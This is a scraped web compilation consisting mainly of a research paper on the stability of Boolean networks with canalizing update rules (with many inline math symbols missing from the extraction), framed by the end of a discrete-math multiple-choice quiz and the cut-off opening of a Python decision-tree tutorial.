E\n• [D]E-\n\n9. The composition of function is associative but not _________.\n• [A] commutative\n• [B] associative\n• [C] distributive\n• [D] idempotent\n\n10. A sum of the variables and their negations in a formula is called ________\n• [A] elementary sum\n• [B] elementary product\n• [C] cnf\n• [D] dnf\n\n11. A graph in which every vertex has same degree is called _________ graph.\n• [A] regular\n• [B] simple\n• [C] complete\n• [D] null\n\n12. The number of vertices of odd degree in a graph is always ________.\n• [A] odd\n• [B] even\n• [C] zero\n• [D] one" ]
[ null, "https://www.gkseries.com/image/logo_new.gif", null, "https://www.gkseries.com/image/logo_new.gif", null ]
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https://www.groundai.com/project/the-stability-of-boolean-networks-with-generalized-canalizing-rules/
[ "A Definition of the Truth Table Draws and Constraints on \\{p^{(k,s)}_{i}\\}\n\n# The Stability of Boolean Networks with Generalized Canalizing Rules\n\n## Abstract\n\nBoolean networks are discrete dynamical systems in which the state (zero or one) of each node is updated at each time to a state determined by the states at time of those nodes that have links to it. When these systems are used to model genetic control, the case of ‘canalizing’ update rules is of particular interest. A canalizing rule is one for which a node state at time is determined by the state at time of a single one of its inputs when that inputting node is in its canalizing state. Previous work on the order/disorder transition in Boolean networks considered complex, non-random network topology. In the current paper we extend this previous work to account for canalizing behavior.\n\ncomplex networks, genetic networks, Boolean networks\n89.75.Hc\n\n## I Introduction\n\nBoolean networks have been extensively studied as models for genetic control of cells (1); (2). In this framework, the genetic regulatory network is modeled as a directed graph, where links correspond to the influence of one gene on the expression of another. Individual genes are either off or on, represented as 0 or 1, respectively, and the state of a gene at time is given by a Boolean update function of the states of its inputs at time . In early analyses, both the network topology and the update functions were randomly assigned. In particular, Kauffman’s network model (1); (3) has received significant study. According to this model, there are nodes (genes) in the network, each having the same number of input links, , and the nodes from which these input links originate are chosen randomly with uniform probability. Additionally, the update function determining the time evolution at each node is defined by a random, time-independent, -entry truth table that can be characterized (4) by the ‘bias’ , which, as discussed subsequently, is the probability that a one appears as the output of the update function. Using the Hamming distance between two states of the system (i.e., the number of nodes for which the states disagree) as the distance measure, these systems, when large, exhibit both disordered (unstable) behavior, where the distance between typical initially close states on average grows in time, as well as ordered (stable) behavior, where the distance decreases. Separating the two is a ‘critical’ regime.\n\nSo-called ‘canalizing functions’ are a significant modification of the random truth table model of previous work. Canalizing functions, believed to be relevant to genetic networks (5); (6), are those functions where an argument of the function (the ‘canalizing input’), having a certain value (the ‘canalizing value’), determines the value of the function independently of the values of the other arguments of the function (inputs) (2). If the canalizing input does not have the canalizing value, the function is determined by the other inputs. (Further refinements can include a hierarchy of canalization (7).) Previous work (7); (10); (8); (9) has considered random network topology and random choices of canalizing inputs and, with those assumptions, has demonstrated that canalizing functions often stabilize networks that would be disordered in their absence. A key quantity, defined in previous work by Shmulevich and Kauffman, is the ‘activity’ (11); (12) of a Boolean variable on a Boolean function. This quantity can be used to characterize the increased importance of canalizing inputs and plays a crucial role in the theory presented in this paper.\n\nAn important hypothesis in genetic networks is that biological systems exist at the transition between order and disorder (1) (i.e., the ‘life at the edge of chaos’ hypothesis). It has also been suggested that this transition may be relevant to the onset of cancer (13). This paper is concerned with deriving a condition determining the ‘edge of chaos’ in Boolean networks taking into account the specific topology of the network (as was treated in Ref. (13)) and canalizing update rules. In Sec. II, we present definitions that will be used in the remainder of the paper and summarize previous results on Boolean network stability. In Sec. III, we present a generalized probabilistic model of canalizing behavior, and we use this model with the Shmulevich-Kauffman activity to extend the results of Ref. (13) to the case of networks with canalizing functions. We derive a stability criterion that offers an advancement over previous work on Boolean network models with canalizing rules in two ways: (1) it accounts for the specific topological properties of a considered Boolean networks, rather than purely random topology; and (2) it accounts for possible correlation between network topology and canalizing behavior, e.g., correlation between the choice of canalizing input and local topology. In Sec. IV, we numerically test our derived stability criterion on a variety of complex network topologies, and in Sec. V we explore the effect of correlation between strict canalization and network topology.\n\n## Ii Preliminary Definitions and Previous Results\n\nA Boolean network is defined by a state vector , where each , and a set of update functions , such that\n\n σi(t)=fi(σj(i,1)(t−1),σj(i,2)(t−1),...), (1)\n\nwhere denote the indices of the nodes that input to node , and we denote this set of nodes by . [In the following discussion, , which is between 1 and , is used to label an input to node , or, equivalently an argument of ; , which is between 1 and , refers to the network index of the node corresponding to input ; and are used to switch between them. Similarly, is the state of node , and is the -th input to .] The number of input links to node is called its in-degree, and the number of output links from node is called its out-degree. The update function at each node is usually defined by a truth table, where the table for node has rows, one for each possible set of the states of the nodes that input to node , and each input state row is followed by its resulting update output state for node , thus forming a entry output column. Thus the input entries of the rows of the truth table represent all possible arguments of in Eq. (1), and the output column gives the value that assumes for that set of its arguments.\n\nAn important property of a given Boolean network is whether it is ‘ordered’ or ‘disordered.’ This property is defined in large networks by considering the trajectories resulting from two close initial states, and . To quantify their divergence, the Hamming distance of coding theory is used: , and the two initial conditions are ‘close’ if . If the network is ordered, on average as . In disordered networks, quickly increases to , while a ‘critical’ network is at the border separating the two regimes. (In this paper, we use the word ‘stable’ to refer to ordered networks.)\n\nTo obtain an analytically tractable model for the stability of Boolean networks, Derrida and Pomeau (4) considered an ‘annealing’ procedure applied to the original problem and calculated the probability that, after steps, a node state is the same on two trajectories that originated from initially close conditions. Annealing, in this context, refers to assuming that both the at each node and the network of connections are randomly reassigned at each time step, in contrast to the ‘quenched’ problem, in which both the update functions and topology are constant for all time. Later authors generalized the Derrida-Pomeau analysis to include variable in-degree (14); (15); (16) and joint in-degree/out-degree distributions (17). In the annealed situation, at each time step both the truth table outputs and the network of connections are randomly chosen. The actual situation of interest, however, is the case of ‘frozen-in’ networks, where the truth table and network of connections are fixed in time. It was hypothesized and subsequently numerically confirmed that, for large networks, results obtained in the analytically tractable annealed situation are the same as those in the analytically intractable frozen situation; this is referred to as the ‘annealing approximation.’\n\nIn Ref. (13), we developed a more general approximate technique for determining the stability of large Boolean networks. This technique used what we called a ‘semiannealing’ procedure, which differed from the situation considered by Derrida in that only the truth table outputs are randomly reassigned at each time step; the network of connections was kept frozen. By using this procedure, one can investigate the effect of given specific network topology on the stability of a Boolean network. Numerical experiments confirmed the predictions of the semiannealed theory (13) in cases of complex network topology, exploring such effects as correlation between the number of inputs and outputs at each node (18), assortativity (19), community structure (20), and the presence of small motifs similar to those found in biological systems (21). These cases cannot be accounted for using the full annealing approximation.\n\nWhen considering annealed Boolean truth tables, the update function of each node, , is solely parameterized by the ‘bias’ of node , denoted . The bias is the probability that any given output entry in the truth table is a one. This can be recast in terms of the ‘sensitivity’ of node , denoted , which is the probability that differing inputs to yield a differing output of . In the annealed truth table case, .\n\nHowever, this parameterization is not complete for canalizing functions. In Ref. (8), Kaufman et al. consider the case of networks with and non-annealed truth tables. For networks, the possible Boolean functions fall into four classes: frozen functions (i.e., those functions that output the same value, one or zero, independent of their inputs), non-canalizing functions, and two types of canalizing functions. Reference (8) shows that, when there are fewer nodes with non-canalizing functions than with frozen functions (by the addition of either frozen functions or canalizing functions), the network is in the ordered regime. Another approach to analyzing stability of Boolean networks with canalizing functions is to consider ‘damage spreading’ (i.e., the propagation of disagreement between and ). This approach was used in Ref. (9) for Boolean networks with canalizing rules, with results similar to (8).\n\nIn Sec. III, we refine the semiannealed procedure of Ref. (13), which relies heavily on the sensitivity, to account for canalizing behavior. However, as discussed above, the sensitivity does not include sufficient information to account for canalizing behavior. This quantity treats all input nodes equally, which is clearly not appropriate for canalizing functions. Instead, we make use of the ‘activity’ of node on node , (or, equivalently, the activity of input argument on update function , ). First described by Shmulevich and Kaufmann in Ref. (11), the ‘activity’ of input on a Boolean function is the probability that a bit flip of only input leads to a flip of the output of if all inputs other than are independent and have equal probabilities of being one or zero. This definition clearly emphasizes canalizing inputs over non-canalizing inputs (11). In our presentation of generalized canalization below, we calculate the activities for truth tables with this property and use the probabilistic interpretation of our definition to define a new semiannealing procedure, which has the activities as its defining parameters.\n\n## Iii Generalized Canalization and the Stability Criterion\n\nThe semiannealing procedure used in Ref. (13) independently and randomly reassigned the output elements of the truth table governing node to be one or zero with probability or , respectively. This is not true of canalizing functions: if the canalizing input takes its canalizing value in a given row of the table, the probability of a one appearing in the corresponding entry of the output column is zero (or one). We call this behavior ‘strictly canalizing.’ We now introduce a generalization of strictly canalizing behavior to the case of ‘quasicanalizing’ inputs, which we define as the case where the probability that a one appears in the output of node ’s truth table if input takes value , averaged over all other inputs, depends on . We illustrate this concept in Tables 1(a)-(c). (The average of , weighting the states and equally for all , is , which we call the ‘truth table bias.’ This quantity will be discussed in detail below.) Strict canalization with respect to input , illustrated in Table 1(a), is the case when or when is the canalizing value. If , is a non-canalizing input to , and Table 1(b) consists entirely of non-canalizing inputs. Quasicanalizing inputs are neither strictly canalizing nor non-canalizing: if and for , then input is said to be quasicanalizing. Table 1(c) illustrates this property. We call truth tables where all inputs are non-canalizing ‘unstructured’ (e.g., Table 1(b)), and those with any canalizing inputs, strict or quasi-, ‘structured’ (e.g., Tables 1(a) and (c)). We note that a complete, realizable set of is highly constrained, and the constraints are given in the Appendix.\n\nWe now write down the procedure by which we can make random draws of the truth tables conforming to the set of that defines the update function . The details of the calculation are given in the Appendix, but we state here that, for a given draw the probability that is one, , is given by\n\n ϕi(s1,...sKini)=(p∗i)1−KiniKini∏k=1p(k,sk)i. (2)\n\nThis defines an ensemble of update functions for each node , where the sampling probability of each member can be derived from (2). Loosely speaking, we would like to be able to average the dynamics of all networks over this ensemble to derive the stability criterion (i.e., the boundary between the stable and unstable phases in the space of all ). However, this is analytically intractable since the dynamics of a given network depend crucially on the exact nodal update functions (e.g., frozen functions which are sampled with non-zero probability), and the vast number of sets of makes member-by-member calculation infeasible. Instead, we use a semiannealing sampling procedure to approximate this average by considering a system where, at each time step, a different randomly chosen member of the ensemble of is used to advance the system. Thus, at each time step, we randomly assign the truth table output of , when presented with inputs to be one with probability and zero with probability . The motivation for this semiannealed approach, as well as for other previous annealing approaches, is (i) that they are analytically tractable, and (ii) that it is supposed that, for large networks, the stability in the annealed situation approximates that of a typical (with respect to the ensemble) frozen-in case. Here by the frozen-in case we refer to a system with a given temporally constant network topology and set of truth tables, which are randomly assigned initially using the probabilities in the annealing procedure. We numerically confirm that the stability of frozen-in networks corresponds well with that of our semiannealed networks (Sec. IV).\n\nWe now follow Refs. (11); (12) and introduce a quantity that we call the ‘activity’, which we define as the probability that, at any time on an orbit, the output of changes if input is flipped (either from 0 to 1 or vice versa), keeping the other inputs unchanged. The activity will play an important role in the derivation of the stability criterion. In order to obtain the activities, we first make the assumption that orbits on the semiannealed network are ergodic, and, given such an orbit, we can define as the fraction of time that the state ; we call this the ‘dynamic bias’ since it is determined by the dynamics of the network, in contrast to the truth table bias above. Assuming independence of the probability of nodal input states to node (appropriate to our supposition of locally-tree like topology, discussed below), we have\n\n ρi=∑{sk}iϕi({sk}i)ρ({sk}i), (3)\n\nwhere the sum is over all possible inputs to node , which is denoted ; is the probability that the set of states of the input nodes to node , , takes the values in the set (where again denotes the argument number to the update function , and refers to a node index in the network); and is a shorthand notation for the quantity in Eq. (2). Note that is a purely local quantity; i.e., it is determined from the random truth table annealing process for node and is independent of the truth table assignments at other nodes. The probability of the inputs to node taking the values can in turn be written in terms of the dynamic biases of the input nodes,\n\n ρ({sk}i)=∏j∈Ji[sk(i,j)ρj+(1−sk(i,j))(1−ρj)], (4)\n\nwhere and is used to convert from node index to argument number . In principle, one could insert Eq. (4) into Eq. (3) and iteratively solve for all (provided the iteration converged) or, alternatively, one could numerically generate a long orbit and approximate as the fraction of time that on the orbit. In this paper, as an example, we will restrict our consideration to a case where a very simple exact solution to Eqs. (3) and (4) is available, and we will base our numerical experiments in Sec. IV on that case.\n\nWe now define to be a input function that denotes the probability that the truth table output is one if input is given some element set of other inputs; again, we emphasize that the are local quantities. (The input to this function is a reduced set of inputs , which is related to by removing the -th element; we suppress the explicit dependence below.) With this, we calculate the activity as\n\n rik=∑{sk}li[ϕ(l,0)i(1−ϕ(l,1)i)+ϕ(l,1)i(1−ϕ(l,0)i)]ρ({sk}li), (5)\n\nwhere is the probability of node having the reduced input set . In the numerical tests in Sec. IV, we consider this probability to be uniform over all possibilities; i.e., we consider the trivial solution to Eqs. (3) and (4) given by and . This implies that both canalized and canalizing values are 0 or 1 with probability one-half and, further, that truth table biases are symmetrically distributed around one-half. However, in cases where there is a bias in the canalization, e.g., a node is more likely to be canalized to one, or truth table biases are not symmetrically distributed, is no longer uniform, and a procedure to calculate the for each node as described above may be employed.\n\nOur semiannealing procedure defines an ensemble of nodal truth table time courses, and we can define probabilities of the dynamically evolving states for an arbitrary member of this ensemble. In particular, as in Ref. (13), we define the -dimensional vector , where each element tracks the probability that node differs between two initally close states after time-steps: . Our goal is to find an update equation for and perform linear stability analysis on the solution to obtain the stability criterion. The update equation will be derived under the assumption that the inputs are statistically independent of one another. This assumption holds in the case of locally tree-like topology (13); (22).\n\nSince we are performing linear stability analysis, we can make several simplifying approximations. The probability of inputs to node being different between the trajectories of two initially close states is of order . Linear stability applies for small, so the case of multiple inputs to are flipped can be ignored, and we can approximate the probability that only input node to node is flipped as . The probability that the single bit flip of node causes a flip in the output of is the activity . Since the input flipping and the the probability that this leads to a flip in the output of are independent, the probability that a flip in node occurs and leads to a flip in the node in the next time step is thus . In the linear stability limit, we can sum these probabilities inputs to get the following approximate evolution equation for small perturbations from the solution :\n\n yi(t+1)≈Kini∑k=1rikyj(i,k)(t)+O(y2). (6)\n\nThis can be written in matrix form after discarding the higher-order terms as\n\n →y(t)≈R→y(t−1), (7)\n\nwhere is the ‘activity matrix’ with elements if there is a link from to (), and zero otherwise. From this equation, we see that stability is determined by the largest eigenvalue of this matrix:\n\n λR > 1,y=0 is unstable; λR = 1,y=0 is critical; (8) λR < 1,y=0 is stable.\n\nNote that, since the elements of the matrix are all non-negative, the Perron-Frobenius theorem guarantees that is real and non-negative.\n\nBefore concluding this section, we note the relationship of (8) to the case of unstructured truth tables (13). When there are no canalizing inputs present, the right hand side of Eq. (2) reduces to for all possible inputs, and is constant across each row of the matrix. This is the central result of Ref. (13).\n\n## Iv Numerical Results\n\nIn this section, we present numerical results testing our derived criterion for the stability of Boolean networks with canalizing truth tables. We test the theory by measuring the long-time Hamming distance between trajectories that differ in only a few initial states as a function of . We vary in two ways: (a) a varying proportion of nodes have a single, strictly canalizing input; and (b) each node has a single quasicanalizing input, and that input has varying activity on each node’s function. In Sec. IV.A, we treat case (a) with several network degree distributions. We consider networks, which is most comparable to previous work on canalizing inputs (8); (9), as well as networks with power-law in-degree distribution. We treated the cases of assortativity/disassortativity and community structure in Ref. (13), and we believe these cases can be treated in an analogous way using the activity matrix. In Sec. IV.B, we consider case (b) with networks of the same general topologies. The networks under consideration in Sec. IV.B, however, have more average inputs as compared to Sec. IV.A.\n\nOur general approach to test the transition from order to disorder is the following. We begin with a given network topology and, using the techniques of Ref. (13), calculate a uniform sensitivity for all nodes that would yield a Boolean network slightly in the disordered regime. We then choose a uniform truth table bias for all nodes that satisfies Thus, for all networks under consideration in this section, Ref. (13) would predict that the network is slightly disordered. We then vary by methods (a) or (b) above. As discussed in Sec. V, the addition of canalizing behavior tends to stabilize a network, and thus the transition is approached from the disordered regime. We choose the canalizing input of each update function randomly.\n\nFigures 1 and 2 demonstrate the results of our numerical tests. Each data point in Figs. 1 and 2 is the average steady-state Hamming distance measurement of 1000 different frozen realizations of the truth tables. Each network has nodes, and the steady-state Hamming distance is calculated as the average Hamming distance from time to between trajectories that have an initial Hamming distance of 10 (0.01% of the nodes are flipped). The important result of these figures is that the critical stability condition derived using our truth table annealing procedure agrees well with the numerical results from our simulations of frozen-in (quenched) systems.\n\n### iv.1 Networks with Strictly Canalizing Inputs", null, "Figure 1: Steady state Hamming distance vs. λR for (a) N−K networks with K=3 (squares), 4 (diamonds), or 5 (triangles) inputs; and (b) networks with power-law in-degree distibution with average ⟨Kin⟩=3 (squares), 4 (diamonds), or 5 (triangles). Each datapoint consists of 1000 realizations of the truth table update functions, where the initial Hamming distance between close states is 10 nodes (0.01%). λR is varied by giving an increasing proportion of nodes a single, strictly canalizing input. The predicted transition is at λR=1.\n\nFigure 1 is a numerical test of the theory of Sec. III on networks with an increasing proportion of nodes with a single strictly canalizing input, where the proportion increases from zero to one. For each node in the network, we choose whether the node will have a canalizing input with probability . When , takes its maximum value; when , takes its minimum value.\n\nIn order to calculate the activity with a uniform ensemble of inputs in Eq. (5), some care must be exercised when constructing the truth tables for each node, and the procedure is as follows. The canalized output for each truth table is chosen to be zero or one with equal probability, and the remaining values in the table are assigned one with probability or , depending on whether the canalized output is zero or one, in order to maintain a constant truth table bias over all nodes. That the canalized output is zero or one with equal probability is crucial, since we are assuming that any given set of input values to a node are equally likely in our evaluation of Eq. (5). A preponderance of canalized zeros or ones violates this assumption (although the presented calculation of the activity can be refined to take this into account as discussed in Sec. III). Similar care must be taken in the construction of unstructured truth tables. Since there are two solutions to for a given , the bias for each unstructured truth table is chosen to be either of the solutions with equal probability.\n\nFigure 1(a) tests the theory on networks, where and 5. The networks are constructed by randomly drawing inputs to each node with uniform probability from the other nodes in the network, subject to the constraint that each node has exactly outputs. The sensitivities for these networks are and 0.21 for and 5 networks, respectively. According to the theory in Ref. (13), these parameters are in the disordered regime. We see that in all cases, the networks appear to undergo a transition from ordered to disordered near as we add more canalizing inputs. Additionally, we see that the scaling of the steady-state Hamming distance with is a strong function of , the number of inputs. This is to be contrasted with the case of power-law degree distribution discussed below.\n\nFigure 1(b) considers networks where the in- and out-degrees are independently drawn from truncated power-law degree distributions: if , and 0 otherwise. Networks are then constructed by randomly making connections between nodes in accord with their degrees using the configuration model. The figure depicts cases where the average number of inputs are the same as the case considered in Fig. 1(a): for , , and ; for , , and ; and for , , and . The effective sensitivities are the same as the cases which again place them slightly in the disordered regime. We see again that there appears to be a transition to ordered dynamics as canalizing inputs are added. However we note that the scaling of steady-state Hamming distance has much weaker dependence on than in the case. We also note that for the same the steady-state Hamming distance is smaller than the case.\n\n### iv.2 Quasicanalizing Inputs", null, "Figure 2: Steady state Hamming distance vs. λR for (a) N−K networks with 3 (squares), 4 (diamonds), or 5 (triangles) inputs; and (b) networks with power-law in-degree distibution with average ⟨Kin⟩=3 (squares), 4 (diamonds), or 5 (triangles). Each datapoint consists of 1000 realizations of the truth table update functions, where the initial Hamming distance between close states is 10 nodes (0.01%). λR is varied by giving each node a single quasicanalizing input and increasing the difference |p(k,c)i0−p(k,c)i1|, where c is the index of the canalizing input. The predicted transition is at λR=1.\n\nFigure 2 demonstrates the results of the second method of varying , where each node has a single quasicanalizing input. The tests were done on the same network topologies as in the previous section. When assigning a generalized canalized truth table, we randomly choose the canalizing value to be zero or one with uniform probability. To vary , we vary from zero to : when , all nodes have a single strictly canalizing input (i.e., the same as the case where above); when , is no longer a canalizing input and the network is identical to the case where above.\n\nFigure 2(a) considers networks where all parameters are the same as in Fig. 1(a). We see the same behavior in steady-state Hamming distance as a function of as in Fig. 1(a). In Fig. 2(b), we use slightly different parameters than those in Fig. 1(b). The parameters used in the truncated power-law distribution are as follows: for , , and ; for , , and ; and for , , and . The initial sensitivities are and 0.146, respectively. These parameters were chosen in order to get larger truth tables at each node. We note that the steady-state Hamming distance is not much larger than in the cases of Fig. 1(a), and that the scaling is an even weaker function of the average number of inputs.\n\n## V Effect of Correlations Between Canalization and Topology\n\nA useful feature of the theory of Sec. III is that it allows us to analyze the interplay between choice of canalizing input and local topology. Here we use a perturbation approach to derive an expression for the marginal change of as canalization is added to the network. We will see that this result depends on the local topology at the node under consideration and the ‘amount’ of canalization added, viz., the difference between biases when the canalizing input takes its canalizing value and when it does not. In order to test the results in this section, we will consider networks where each node has a single strictly canalizing input, and we adjust which input is the canalizing input to vary .\n\nIn the case of no canalizing inputs, the right hand side of Eq. (2) reduces to and for all inputs, which is the same as the unstructured case. In the case of exactly one canalizing input and the rest non-canalizing, we get from Eq. (2)\n\n rik={p(c,0)i(1−p(c,1)i)+p(c,1)i(1−p(c,0)i)for j=cp(c,0)i(1−p(c,0)i)+p(c,1)i(1−p(c,1)i)for j≠c, (9)\n\nwhere is the index of the canalizing input of node .\n\nWe now investigate the effect of adding canalizing inputs to a network. We assume that we start with a network that has some nodes with no canalizing inputs and is characterized by an activity matrix with largest eigenvalue . We choose a node that is not canalized and change its truth table so that node has canalizing input , but the same , by perturbation analysis. Let and denote the activity matrix and the maximum eigenvalue corresponding to the altered system. Given left and right eigenvectors and of the matrix , perturbation theory gives the change in the eigenvalue as (23)\n\n ΔλR≈vTΔRuvTu. (10)\n\nSince , by Eq. (9) and substituting , we see that\n\n ΔRij=⎧⎪ ⎪⎨⎪ ⎪⎩2(p(c,0)i)2+2(p∗i)2−4p(c,0)ip∗iif j=c;−2(p(c,0)i)2−2(p∗i)2+4p(c,0)ip∗iif j→i, j≠c;0otherwise. (11)\n\nUsing (11) in (10), we get\n\n ΔλR≈((2p(c,0)i)2+2(p∗i)2−4p(c,0)ip∗i)⎛⎝vcuc−∑j≠cujvj⎞⎠. (12)\n\nThe first term in the product depends on the amount of canalization; the second, however, captures the effect of the network topology on . We note that, since the first term is always positive, the sign of the effect on the largest eigenvalue is determined by the second term. Usually the second term is negative, but of varying magnitude based on the choice of . In some cases, when the canalizing input has a large compared to the other inputs, canalization may increase instability.", null, "Figure 3: The effect of correlation between canalization and local network topology. Steady state Hamming distance vs. λR for networks with power-law in-degree distibution with average ⟨Kin⟩=3 (squares), 4 (diamonds), or 5 (triangles). Each datapoint consists of 1000 realizations of the truth table update functions, where the initial Hamming distance between close states is 10 nodes (0.01%). Each node in the network has a single, strictly canalizing input. In this figure, λR is varied by the choice of canalizing input: a varying proportion of nodes have their canalizing input chosen to maximize Eq. (12), the remainder have their canalizing input chosen to minimize Eq. (12). The predicted transition is at λR=1.\n\nWe test whether effectively predicts the order/disorder transition in Fig. 3 using networks constructed as in Sec. IV. All networks under consideration have nodes and truncated power-law degree distributions corresponding to the parameters used in Fig. 1(b): for , , and ; for , , and ; and for , , and . Each node in the network has a single canalizing input, and, to vary , a varying proportion of nodes have their canalizing input chosen to maximize Eq. (12), with the remaining nodes having their canalizing input chosen to minimize Eq. (12). That is, given a list of input nodes to a node , the canalizing input is chosen such that or , where is the eigenvector centrality of node . Since every node has a canalizing input, we use slightly different values for the initial sensitivities: and 0.222 for and 5, respectively. Once again, as in Fig. 1(b), we see that the transition is approximately at .\n\n## Vi Conclusion\n\nIn this paper we have generalized previous work on the stability of large Boolean networks to account for canalization. Our generalization allows a continuum in the degree of canalization and a probabilistic interpretation, as opposed to the previous canalization model (5), where an input could only be strictly canalizing or not canalizing at all. We define a semiannealing procedure which we used to derive the condition, Eq. (8), under which Boolean networks that have canalizing functions are stable. The stability criterion derived in this paper offers two advantages to the study of genetic networks in particular, because it successfully handles complex network topologies that may be found in real genetic control networks, and because it can account for possible correlations between canalizing behavior and network topology. Given the likely prominance of canalizing behavior in gene networks, these results may offer insight into the understanding of these systems. As an example of some of the insights than can be gleaned, Ref. (24) reports that a mutant strain of macrophage that has a gene silenced actually exhibits mildly chaotic behavior, in constrast to the unmutated case which exhibits criticality. This may indicate that the silenced gene is a canalizing input to a large number of genes; when the canalized gene is silenced, the states of the genes it is connected to are free to evolve according to the dynamics of their other inputs, thus reducing stability and yielding a slightly chaotic network. Furthermore, since our technique allows analysis of any specified network (e.g., an experimentally determined network), our stability criterion may, with advances in gene network measurement technology, allow one to assess the criticality of real genetic networks directly.\n\nWe thank Wolfgang Losert and the anonymous reviewers for their comments. This work was partially supported by ONR Grant N00014-07-1-0734.\n\n## Appendix A Definition of the Truth Table Draws and Constraints on {p(k,s)i}\n\nIn order to define the appropriate annealing procedure used on the truth tables, we must specify the probability that a given output value of is one. We derive this probability in two ways: first using Bayes’ Theorem and again using counting arguments. The Bayesian approach has the advantage of simplicity and clarity, however the counting approach yields the entire set of constraints on realizable sets of . In both presentations, a useful quantity is the ‘truth table bias’ , which is the probability that any truth table output is one, similar to the unstructured case. Letting be the number of rows in the truth table, the expected number of ones in the output column of the truth table of node is . For any given arbitrary input to , rows in the truth table have and have . By definition of , the expected number of ones in the output of the truth table with entries that have is . The total expected number of ones is the sum of the expected number of ones when and when , which leads to\n\n p∗i=p(k,0)i+p(k,1)i2, (13)\n\nNote that, since the expected number of ones does not depend on our choice of above, must be independent of . This provides a constraint on the set of possible values that describe a realizable truth table. Non-canalizing inputs have both and equal to the effective bias by definition, and unstructured truth tables have .\n\nWe now derive the probability that a given set of input values to node , , yields an output of one, and we denote this probability . Using Bayes’ Theorem, we have\n\n ϕi(s1,...,sKini)=Pr[I1,...IKini|fi=1]Pr[fi=1]Pr[I1,...IKini], (14)\n\nwhere is the event that the -th input takes the value (i.e., is the event that , where denotes a specifc value, 0 or 1, of the node ’s state variable ). By definition, . Since we are considering an ensemble where every possible input string to has equal probability, . We note that since each of the events are independent, and we calculate again using Bayes’ Theorem:\n\n Pr[Ik|fi=1]=Pr[fi=1|Ik]Pr[Ik]Pr[fi=1]=p(k,s)i(1/2)p∗i. (15)\n\nUsing these results in Eq. (14), we obtain 2.\n\nAnother method to derive 2 involves a counting argument. While this is a little less clear, it yields the full set of constraints for a realizable set of . This argument proceds from Eq. (13). We now choose a second arbitrary input, and divide the truth table into four sections, each of size : those rows with ; those with ; those with ; and . By definition of and , we have the total expected number of ones in the truth table as\n\n L4(p(k,0)ip(l,0)i+p(k,0)ip(l,1)i+p(k,1)ip(l,0)i+p(k,1)ip(l,1)i)=p∗iL. (16)\n\nThis yields a new set of constraints, namely that for each pair of inputs and , . This disallows conflicting rules, such as two strictly canalizing inputs that canalize to different values. We can continue in a similar manner by considering a third input and deriving an equation like Eq. (16) and obtain constraints on the of triplets of inputs and so on until we have divided the truth table up into L sections of one row each.\n\n### References\n\n1. S.A. Kauffman, J. Theor. Biol. 22, 437 (1969).\n2. S.A. Kauffman, The Origins of Order (Oxford University Press, New York, 1993).\n3. M. Aldana, S. Coppersmith, and L. P. Kadanoff in Perspectives and Problems in Nonlinear Science, edited by E. Kaplan, J.E. Marsden, and K.R. Sreenivasan (Springer, Berlin, 2002).\n4. B. Derrida and Y. Pomeau, Europhys. Lett. 1, 45 (1986).\n5. S. A. Kauffman, C. Peterson, B. Samuelsson, and C. Troein, Proc. Natl. Acad. Sci. 100, 14796 (2003).\n6. S. E. Harris, B. K. Sawhill, A. Wuensche, and S. A. Kauffman, Complexity 7, 23 (2002).\n7. S. A. Kauffman, C. Peterson, B. Samuelsson, and C. Troein, Proc. Natl. Acad. Sci. 101, 17102 (2004).\n8. V. Kaufman, T. Mihaljev, and B. Drossel, Phys. Rev. E 72, 046124 (2005).\n9. B. Samuelsson, and J. E. S. Socolar, Phys. Rev. E 74, 036113 (2006).\n10. P. Ramo, J. Kesseli, and O. Yli-Harja, Chaos 15, 034101 (2005).\n11. I. Shmulevich and S. A. Kauffman, Phys. Rev. Lett. 93, 048701 (2004).\n12. I. Shmulevich, E. R. Dougherty, S. Kim, and W. Zhang, Bioinf. 18, 261-274 (2002).\n13. A. Pomerance, E. Ott, M. Girvan, and W. Losert, Proc. Natl. Acad. Sci. 106, 8209 (2009).\n14. R. V.  Solé and B. Luque, Phys. Lett. A 196, 331 (1995).\n15. B. Luque and R. V. Solé, Phys. Rev. E 55, 257 (1997).\n16. J. J. Fox and C. C. Hill, Chaos 11, 809 (2001).\n17. D. S. Lee and H. Rieger, J. Phys. A 41, 415001 (2008).\n18. J. G. Restrepo, E. Ott and B. R. Hunt, Phys. Rev. E 76, 056119 (2007).\n19. M. E. J. Newman, Phys. Rev. Lett. 89, 208701 (2002).\n20. M. E. J. Newman and M. Girvan, Phys. Rev. E 69, 026113 (2004).\n21. R. Milo, et al., Science 298, 5594 (2002).\n22. J. G. Restrepo, E. Ott, and B. R. Hunt, Phys. Rev. Lett. 100, 058701 (2008).\n23. J. G. Restrepo, E. Ott and B. R. Hunt, Phys. Rev. Lett. 97, 094102 (2006).\n24. M. Nykter, et al., Proc. Natl. Acad. Sci. 105, 1897, (2008).\nYou are adding the first comment!\nHow to quickly get a good reply:\n• Give credit where it’s due by listing out the positive aspects of a paper before getting into which changes should be made.\n• Be specific in your critique, and provide supporting evidence with appropriate references to substantiate general statements.\n• Your comment should inspire ideas to flow and help the author improves the paper.\n\nThe better we are at sharing our knowledge with each other, the faster we move forward.\nThe feedback must be of minimum 40 characters and the title a minimum of 5 characters", null, "", null, "", null, "" ]
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https://www.kdnuggets.com/2017/05/simplifying-decision-tree-interpretation-decision-rules-python.html
[ "# Simplifying Decision Tree Interpretability with Python & Scikit-learn\n\nThis post will look at a few different ways of attempting to simplify decision tree representation and, ultimately, interpretability. All code is in Python, with Scikit-learn being used for the decision tree modeling.\n\nWhen discussing classifiers, decision trees are often thought of as easily interpretable models when compared to numerous more complex classifiers, especially those of the blackbox variety. And this is generally true.\n\nThis is especially true of rather comparatively simple models created from simple data. This is much-less true of complex decision trees crafted from large amounts of (high-dimensional) data. Even otherwise straightforward decision trees which are of great depth and/or breadth, consisting of heavy branching, can be difficult to trace.\n\nConcise, textual representations of decision trees can often nicely summarize decision tree models. Additionally, certain textual representations can have further use beyond their summary capabilities. For example, automatically generating functions with the ability to classify future data by passing instances to such functions may be of use in particular scenarios. But let's not get off course -- interpretability is the goal of what we are discussing here.\n\nThis post will look at a few different ways of attempting to simplify decision tree representation and, ultimately, interpretability. All code is in Python, with Scikit-learn being used for the decision tree modeling.\n\n# Building a Classifier\n\nFirst off, let's use my favorite dataset to build a simple decision tree in Python using Scikit-learn's decision tree classifier, specifying information gain as the criterion and otherwise using defaults. Since we aren't concerned with classifying unseen instances in this post, we won't bother with splitting our data, and instead just construct a classifier using the dataset in its entirety.\n\n``````import numpy as np\nfrom sklearn import datasets\nfrom sklearn import tree\n\nX = iris.data\ny = iris.target\n\n# Build decision tree classifier\ndt = 